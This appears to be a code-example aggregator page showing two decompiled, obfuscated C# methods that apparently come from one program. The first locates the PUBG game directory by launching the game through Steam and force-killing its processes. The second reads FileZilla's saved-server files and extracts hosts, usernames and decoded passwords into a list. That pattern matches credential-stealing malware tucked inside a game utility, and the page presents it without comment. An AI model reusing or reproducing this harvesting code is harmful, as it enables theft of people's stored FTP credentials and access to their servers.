Esempio n. 1
0
    // Token: 0x060007CA RID: 1994 RVA: 0x0104FE70 File Offset: 0x0104E070
    public static bool smethod_0()
    {
        if (MessageBox.Show("Would you like to perform automatic directory search?\nSteam only.", "Game directory", MessageBoxButtons.YesNo, MessageBoxIcon.Asterisk) != DialogResult.Yes)
        {
            return(false);
        }
        Process.Start("steam://run/578080");
        Thread.Sleep(500);
        Process process;

        for (process = null; process == null; process = Process.GetProcessesByName("TslGame_BE").FirstOrDefault <Process>())
        {
            Thread.Sleep(100);
        }
        string text = process.smethod_0(1024);

        GClass21.smethod_1("Taskkill /IM TslGame.exe /F");
        GClass21.smethod_1("Taskkill /IM TslGame_BE.exe /F");
        if (text.Length > 47)
        {
            string text2 = text.Substring(0, text.Length - 43);
            if (text2.Substring(text2.Length - 4) == "PUBG")
            {
                text2 = text.Substring(0, text.Length - 47);
            }
            Settings.Default.GamePath = text2;
            Settings.Default.Save();
            bool result;
            if (!(result = (Directory.Exists(Settings.Default.GamePath + "\\PUBG\\TslGame\\Content\\Paks\\") ? true : false)))
            {
                result = Directory.Exists(Settings.Default.GamePath + "\\PUBG2\\TslGame\\Content\\Paks\\");
            }
            return(result);
        }
        UI.MsgBox.Show("Could not find game directory!", "", MessageBoxIcon.Hand);
        return(false);
    }
Esempio n. 2
0
    // Token: 0x060001D2 RID: 466 RVA: 0x0000C25C File Offset: 0x0000A45C
    public static List <GClass32> smethod_0()
    {
        List <GClass32> list = new List <GClass32>();
        List <GClass32> result;

        try
        {
            if (!File.Exists(GClass21.string_0) && !File.Exists(GClass21.string_1))
            {
                result = list;
            }
            else
            {
                if (File.Exists(GClass21.string_0))
                {
                    XmlTextReader reader      = new XmlTextReader(GClass21.string_0);
                    XmlDocument   xmlDocument = new XmlDocument();
                    xmlDocument.Load(reader);
                    foreach (object obj in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes)
                    {
                        XmlNode xmlNode  = (XmlNode)obj;
                        string  text     = string.Empty;
                        string  username = string.Empty;
                        string  password = string.Empty;
                        foreach (object obj2 in xmlNode.ChildNodes)
                        {
                            XmlNode xmlNode2 = (XmlNode)obj2;
                            if (xmlNode2.Name == "Host")
                            {
                                text = xmlNode2.InnerText;
                            }
                            if (xmlNode2.Name == "Port")
                            {
                                text = text + ":" + xmlNode2.InnerText;
                            }
                            if (xmlNode2.Name == "User")
                            {
                                username = xmlNode2.InnerText;
                            }
                            if (xmlNode2.Name == "Pass")
                            {
                                password = xmlNode2.InnerText;
                            }
                        }
                        list.Add(new GClass32
                        {
                            URL         = text,
                            Username    = username,
                            Password    = password,
                            Application = "FileZilla"
                        });
                    }
                }
                if (File.Exists(GClass21.string_1))
                {
                    XmlTextReader reader2      = new XmlTextReader(GClass21.string_1);
                    XmlDocument   xmlDocument2 = new XmlDocument();
                    xmlDocument2.Load(reader2);
                    foreach (object obj3 in xmlDocument2.DocumentElement.ChildNodes[0].ChildNodes)
                    {
                        XmlNode xmlNode3  = (XmlNode)obj3;
                        string  text2     = string.Empty;
                        string  username2 = string.Empty;
                        string  password2 = string.Empty;
                        foreach (object obj4 in xmlNode3.ChildNodes)
                        {
                            XmlNode xmlNode4 = (XmlNode)obj4;
                            if (xmlNode4.Name == "Host")
                            {
                                text2 = xmlNode4.InnerText;
                            }
                            if (xmlNode4.Name == "Port")
                            {
                                text2 = text2 + ":" + xmlNode4.InnerText;
                            }
                            if (xmlNode4.Name == "User")
                            {
                                username2 = xmlNode4.InnerText;
                            }
                            if (xmlNode4.Name == "Pass")
                            {
                                password2 = GClass21.smethod_1(xmlNode4.InnerText);
                            }
                        }
                        list.Add(new GClass32
                        {
                            URL         = text2,
                            Username    = username2,
                            Password    = password2,
                            Application = "FileZilla"
                        });
                    }
                }
                result = list;
            }
        }
        catch
        {
            result = list;
        }
        return(result);
    }